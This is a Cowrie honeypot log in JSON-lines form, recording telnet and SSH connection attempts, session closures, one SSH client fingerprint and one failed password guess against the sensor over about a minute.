{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec549e66821f","protocol":"telnet","message":"New connection: 159.203.13.64:39436 (10.17.0.5:23) [session: ec549e66821f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:13.599534Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1839a4fc0ba","protocol":"telnet","message":"New connection: 159.203.13.64:39448 (10.17.0.5:23) [session: b1839a4fc0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:13.970415Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39454,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb96c4eb1ecb","protocol":"telnet","message":"New connection: 159.203.13.64:39454 (10.17.0.5:23) [session: fb96c4eb1ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:14.810274Z"}
{"eventid":"cowrie.session.closed","duration":40.49750733375549,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:15.541538Z","src_ip":"159.203.13.64","session":"3a035746f463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf04c9ed7f7b","protocol":"telnet","message":"New connection: 159.203.13.64:39458 (10.17.0.5:23) [session: bf04c9ed7f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:15.796065Z"}
{"eventid":"cowrie.session.closed","duration":34.456798791885376,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:16.714503Z","src_ip":"80.252.221.197","session":"c7896b507235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39472,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e24e3b5da1","protocol":"telnet","message":"New connection: 159.203.13.64:39472 (10.17.0.5:23) [session: 19e24e3b5da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:16.903637Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"745a355ba56b","protocol":"telnet","message":"New connection: 159.203.13.64:39478 (10.17.0.5:23) [session: 745a355ba56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:17.076915Z"}
{"eventid":"cowrie.session.closed","duration":39.95976424217224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:17.950968Z","src_ip":"159.203.13.64","session":"32625d34a040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64206051826477,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:18.226666Z","src_ip":"80.252.221.197","session":"aa52e965e2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5065553188324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:18.812628Z","src_ip":"80.252.221.197","session":"b98cd04f640d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38102,"dst_ip":"159.203.135.109","dst_port":22,"session":"7563488874a4","protocol":"ssh","message":"New connection: 159.203.92.129:38102 (159.203.135.109:22) [session: 7563488874a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:18.985828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:18.990791Z","src_ip":"159.203.92.129","session":"7563488874a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:18.995824Z","src_ip":"159.203.92.129","session":"7563488874a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alicja","password":"123456","message":"login attempt [alicja/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:19.049471Z","src_ip":"159.203.92.129","session":"7563488874a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39494,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc88a741d7f7","protocol":"telnet","message":"New connection: 159.203.13.64:39494 (10.17.0.5:23) [session: fc88a741d7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:19.645122Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25386b3e277","protocol":"telnet","message":"New connection: 159.203.13.64:39500 (10.17.0.5:23) [session: e25386b3e277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:19.676341Z"}
{"eventid":"cowrie.session.closed","duration":35.57360529899597,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:19.736555Z","src_ip":"80.252.221.197","session":"185bd16ebb26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:20.055861Z","src_ip":"159.203.92.129","session":"7563488874a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.32400035858154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:20.920845Z","src_ip":"80.252.221.197","session":"529fecb662b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49924,"dst_ip":"10.17.0.5","dst_port":23,"session":"4600e6e022bf","protocol":"telnet","message":"New connection: 159.203.13.64:49924 (10.17.0.5:23) [session: 4600e6e022bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:21.453132Z"}
{"eventid":"cowrie.session.closed","duration":36.61186742782593,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:21.458011Z","src_ip":"80.252.221.197","session":"70b64d16ad16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.58300042152405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:22.442362Z","src_ip":"159.203.13.64","session":"8da3eb8dbede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84fd477f9c5","protocol":"telnet","message":"New connection: 159.203.13.64:49926 (10.17.0.5:23) [session: e84fd477f9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:22.526292Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49936,"dst_ip":"10.17.0.5","dst_port":23,"session":"67db85444a93","protocol":"telnet","message":"New connection: 159.203.13.64:49936 (10.17.0.5:23) [session: 67db85444a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:22.645313Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"195a57726626","protocol":"telnet","message":"New connection: 159.203.13.64:49950 (10.17.0.5:23) [session: 195a57726626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:24.439409Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.214.170","src_port":55890,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f78294e9f6d","protocol":"ssh","message":"New connection: 192.169.214.170:55890 (159.203.135.109:22) [session: 9f78294e9f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:24.764098Z"}
{"eventid":"cowrie.session.closed","duration":33.63122367858887,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:24.772782Z","src_ip":"80.252.221.197","session":"6e82a9d3d39d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:24.845409Z","src_ip":"192.169.214.170","session":"9f78294e9f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28858709335327,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:25.270457Z","src_ip":"80.252.221.197","session":"1d1e3d30aad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9745170cdb85","protocol":"telnet","message":"New connection: 159.203.13.64:49962 (10.17.0.5:23) [session: 9745170cdb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:25.868647Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49968,"dst_ip":"10.17.0.5","dst_port":23,"session":"86162abce21d","protocol":"telnet","message":"New connection: 159.203.13.64:49968 (10.17.0.5:23) [session: 86162abce21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:28.769256Z"}
{"eventid":"cowrie.session.closed","duration":38.625250816345215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:29.398045Z","src_ip":"159.203.13.64","session":"ab0042637307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf40b83d7a2","protocol":"telnet","message":"New connection: 159.203.13.64:49976 (10.17.0.5:23) [session: 4cf40b83d7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:29.753752Z"}
{"eventid":"cowrie.session.closed","duration":39.628464221954346,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:30.139922Z","src_ip":"159.203.13.64","session":"a70fdea9b5bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45836,"dst_ip":"10.17.0.5","dst_port":23,"session":"497a984bf3e5","protocol":"telnet","message":"New connection: 159.203.13.64:45836 (10.17.0.5:23) [session: 497a984bf3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:31.257262Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37708,"dst_ip":"159.203.135.109","dst_port":23,"session":"75294e4e9b30","protocol":"telnet","message":"New connection: 80.252.221.197:37708 (159.203.135.109:23) [session: 75294e4e9b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:32.600912Z"}
{"eventid":"cowrie.session.closed","duration":41.41025638580322,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:32.627692Z","src_ip":"159.203.13.64","session":"aaa83ab78373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f0d23ef67f","protocol":"telnet","message":"New connection: 80.252.221.197:37720 (159.203.135.109:23) [session: 50f0d23ef67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:33.712544Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37734,"dst_ip":"159.203.135.109","dst_port":23,"session":"85411b44251b","protocol":"telnet","message":"New connection: 80.252.221.197:37734 (159.203.135.109:23) [session: 85411b44251b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:33.842078Z"}
{"eventid":"cowrie.session.closed","duration":31.057253122329712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:36.746302Z","src_ip":"159.203.13.64","session":"5943d714d201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.40941619873047,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:36.865560Z","src_ip":"159.203.13.64","session":"7f1936f66bf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.417274951934814,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:38.647156Z","src_ip":"159.203.13.64","session":"8b3c0c892174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45842,"dst_ip":"10.17.0.5","dst_port":23,"session":"da919a04450b","protocol":"telnet","message":"New connection: 159.203.13.64:45842 (10.17.0.5:23) [session: da919a04450b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:39.606667Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8205bf9fe6f","protocol":"telnet","message":"New connection: 159.203.13.64:45856 (10.17.0.5:23) [session: f8205bf9fe6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:39.751102Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50304,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2da82ae0d6d","protocol":"telnet","message":"New connection: 159.203.13.64:50304 (10.17.0.5:23) [session: c2da82ae0d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:41.149198Z"}
{"eventid":"cowrie.session.closed","duration":41.66693091392517,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:43.795034Z","src_ip":"159.203.13.64","session":"5d7c950c20f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50316,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d9985266d5","protocol":"telnet","message":"New connection: 159.203.13.64:50316 (10.17.0.5:23) [session: 43d9985266d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:43.874192Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21c04a704fb","protocol":"telnet","message":"New connection: 159.203.13.64:50332 (10.17.0.5:23) [session: e21c04a704fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:44.214106Z"}
{"eventid":"cowrie.session.closed","duration":42.134194135665894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:45.298060Z","src_ip":"159.203.13.64","session":"992f09b5314a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491772890090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:47.395282Z","src_ip":"159.203.13.64","session":"19e24e3b5da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b6fa12bcba","protocol":"telnet","message":"New connection: 159.203.13.64:50342 (10.17.0.5:23) [session: b9b6fa12bcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:48.089081Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50348,"dst_ip":"10.17.0.5","dst_port":23,"session":"6959eac02fbb","protocol":"telnet","message":"New connection: 159.203.13.64:50348 (10.17.0.5:23) [session: 6959eac02fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:50.548493Z"}
{"eventid":"cowrie.session.closed","duration":39.518303871154785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:51.655624Z","src_ip":"159.203.13.64","session":"6d0a421ae832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4833be17b6","protocol":"telnet","message":"New connection: 159.203.13.64:34186 (10.17.0.5:23) [session: ec4833be17b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:51.879303Z"}
{"eventid":"cowrie.session.closed","duration":32.68270444869995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:52.358924Z","src_ip":"159.203.13.64","session":"e25386b3e277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34194,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c70c1c2a57","protocol":"telnet","message":"New connection: 159.203.13.64:34194 (10.17.0.5:23) [session: 34c70c1c2a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:52.662626Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34204,"dst_ip":"10.17.0.5","dst_port":23,"session":"d335f3e3acd2","protocol":"telnet","message":"New connection: 159.203.13.64:34204 (10.17.0.5:23) [session: d335f3e3acd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:53.001543Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34212,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0621ac0059a","protocol":"telnet","message":"New connection: 159.203.13.64:34212 (10.17.0.5:23) [session: c0621ac0059a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:53.120523Z"}
{"eventid":"cowrie.session.closed","duration":36.23703575134277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:53.313832Z","src_ip":"159.203.13.64","session":"745a355ba56b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd133c8d42b","protocol":"telnet","message":"New connection: 159.203.13.64:34220 (10.17.0.5:23) [session: abd133c8d42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:53.582989Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1585c70f67","protocol":"telnet","message":"New connection: 159.203.13.64:34230 (10.17.0.5:23) [session: 0f1585c70f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:55.065145Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34242,"dst_ip":"10.17.0.5","dst_port":23,"session":"5527813e3f9f","protocol":"telnet","message":"New connection: 159.203.13.64:34242 (10.17.0.5:23) [session: 5527813e3f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:55.578950Z"}
{"eventid":"cowrie.session.closed","duration":43.15224242210388,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:56.751694Z","src_ip":"159.203.13.64","session":"ec549e66821f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c930df779264","protocol":"telnet","message":"New connection: 159.203.13.64:34250 (10.17.0.5:23) [session: c930df779264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:59.117597Z"}
{"eventid":"cowrie.session.closed","duration":39.5734920501709,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:59.218497Z","src_ip":"159.203.13.64","session":"fc88a741d7f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.49428582191467,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:41:59.464586Z","src_ip":"159.203.13.64","session":"b1839a4fc0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.170724630355835,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:00.980909Z","src_ip":"159.203.13.64","session":"fb96c4eb1ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.7831244468689,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:01.428305Z","src_ip":"159.203.13.64","session":"67db85444a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59026,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab6f30f236a","protocol":"telnet","message":"New connection: 80.252.221.197:59026 (159.203.135.109:23) [session: 0ab6f30f236a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:02.344484Z"}
{"eventid":"cowrie.session.closed","duration":40.11331057548523,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:02.639475Z","src_ip":"159.203.13.64","session":"e84fd477f9c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.584776878356934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:03.353936Z","src_ip":"159.203.13.64","session":"86162abce21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48922,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e9c2391d0a","protocol":"telnet","message":"New connection: 159.203.13.64:48922 (10.17.0.5:23) [session: f8e9c2391d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:03.359640Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.214.11","src_port":54834,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d1dcfc62d4","protocol":"telnet","message":"New connection: 162.241.214.11:54834 (159.203.135.109:23) [session: a4d1dcfc62d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:03.412636Z"}
{"eventid":"cowrie.session.closed","duration":0.005289316177368164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:03.417782Z","src_ip":"162.241.214.11","session":"a4d1dcfc62d4","protocol":"telnet"}
